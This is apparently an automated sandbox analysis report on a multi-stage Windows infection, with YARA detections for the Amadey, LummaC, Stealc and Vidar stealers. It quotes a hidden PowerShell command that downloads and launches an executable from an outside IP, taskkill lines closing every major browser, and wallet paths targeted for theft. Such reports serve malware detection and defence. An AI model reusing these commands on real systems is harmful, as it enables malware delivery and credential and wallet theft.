Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'IT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1074965001\37a2af455e.exe Process created: unknown unknown
Uses taskkill to terminate processes
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_00490B62 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree, 0_2_00490B62
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_00491663 AllocateAndInitializeSid,CheckTokenMembership,FreeSid, 0_2_00491663
Source: px4Y74kUj2.exe, 00000000.00000000.2207627146.00000000004F2000.00000002.00000001.01000000.00000003.sdmp, e65eefc791.exe, 00000017.00000000.2931033480.0000000000ED2000.00000002.00000001.01000000.00000014.sdmp, 22a0986bef.exe, 00000023.00000002.3035837291.0000000000902000.00000002.00000001.01000000.00000017.sdmp Binary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: f9cb675f2a.exe Binary or memory string: KJDProgram Manager
Source: px4Y74kUj2.exe Binary or memory string: Shell_TrayWnd
Source: f9cb675f2a.exe, 00000014.00000002.2929757039.0000000000C5D000.00000040.00000001.01000000.00000011.sdmp Binary or memory string: KJDProgram Manager
Source: TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE, TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE, 0000000D.00000002.2367385943.0000000000DCB000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, skotes.exe, 0000000E.00000002.2351117983.0000000000F9B000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: 0Program Manager
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_00450698 cpuid 0_2_00450698
Queries information about the installed CPU (vendor, model number etc)
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1074964001\22a0986bef.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1074964001\22a0986bef.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1074965001\37a2af455e.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1074965001\37a2af455e.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1074966001\544b1ad39e.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1074966001\544b1ad39e.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1074967041\tYliuwV.ps1 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1074968001\6609830e7b.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1074968001\6609830e7b.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1074970001\a0be961972.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1074970001\a0be961972.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1074971001\KUQRYpJ.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1074971001\KUQRYpJ.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1074972001\Bjkm5hE.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1074972001\Bjkm5hE.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1074965001\37a2af455e.exe Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1074965001\37a2af455e.exe Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1R8VAMVCMJURVKW1AD8R7RQGWD8J.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_0048D21C GetLocalTime, 0_2_0048D21C
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_0048D27A GetUserNameW, 0_2_0048D27A
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_0046B952 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free, 0_2_0046B952
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Code function: 0_2_004342DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo, 0_2_004342DE
Source: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid
AV process strings found (often used to terminate AV products)
Source: f9cb675f2a.exe, 00000014.00000002.2923109913.0000000000914000.00000040.00000001.01000000.00000011.sdmp, f9cb675f2a.exe, 00000014.00000003.2784656190.00000000072B6000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: procmon.exe
Source: f9cb675f2a.exe, 00000014.00000002.2923109913.0000000000914000.00000040.00000001.01000000.00000011.sdmp, f9cb675f2a.exe, 00000014.00000003.2784656190.00000000072B6000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: wireshark.exe
Source: df1dfa8044.exe, 00000015.00000003.2923630282.000000000139E000.00000004.00000020.00020000.00000000.sdmp, df1dfa8044.exe, 00000015.00000003.2932235755.000000000139E000.00000004.00000020.00020000.00000000.sdmp, df1dfa8044.exe, 00000015.00000003.2937946659.000000000139E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information
barindex
Yara detected Amadey
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Yara detected Amadeys stealer DLL
Source: Yara match File source: 14.2.skotes.exe.da0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE.bd0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.skotes.exe.da0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 52.2.TempIT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE.490000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE.bd0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000D.00000002.2367290406.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2344179828.0000000000DA1000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2350926733.0000000000DA1000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2310624960.0000000000BD1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match File source: 00000034.00000002.3166106078.0000000000491000.00000040.00000001.01000000.0000001B.sdmp, type: MEMORY
Yara detected Credential Flusher
Source: Yara match File source: Process Memory Space: e65eefc791.exe PID: 7100, type: MEMORYSTR
Yara detected Cryptbot
Source: Yara match File source: Process Memory Space: f9cb675f2a.exe PID: 4040, type: MEMORYSTR
Yara detected LummaC Stealer
Source: Yara match File source: Process Memory Space: df1dfa8044.exe PID: 1364, type: MEMORYSTR
Source: Yara match File source: 00000015.00000003.2838268892.0000000005020000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000003.3023909601.0000000004CC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected Stealc
Source: Yara match File source: 00000016.00000003.2895006235.0000000005870000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000037.00000003.3132949873.0000000004E20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000036.00000003.3138923765.00000000050E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: d04aa34f51.exe PID: 2744, type: MEMORYSTR
Yara detected Vidar stealer
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Found many strings related to Crypto-Wallets (likely being stolen)
Source: df1dfa8044.exe, 00000015.00000003.2910543373.0000000001332000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: %appdata%\Electrum-LTC\wallets
Source: df1dfa8044.exe, 00000015.00000003.2910543373.0000000001332000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: %appdata%\ElectronCash\wallets
Source: df1dfa8044.exe, 00000015.00000003.2910543373.00000000012FE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: Jaxx Liberty
Source: df1dfa8044.exe, 00000015.00000003.2910543373.0000000001332000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: window-state.json
Source: df1dfa8044.exe, 00000015.00000003.3097732582.000000000137F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet3
Source: df1dfa8044.exe, 00000015.00000003.3097732582.000000000137F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet3
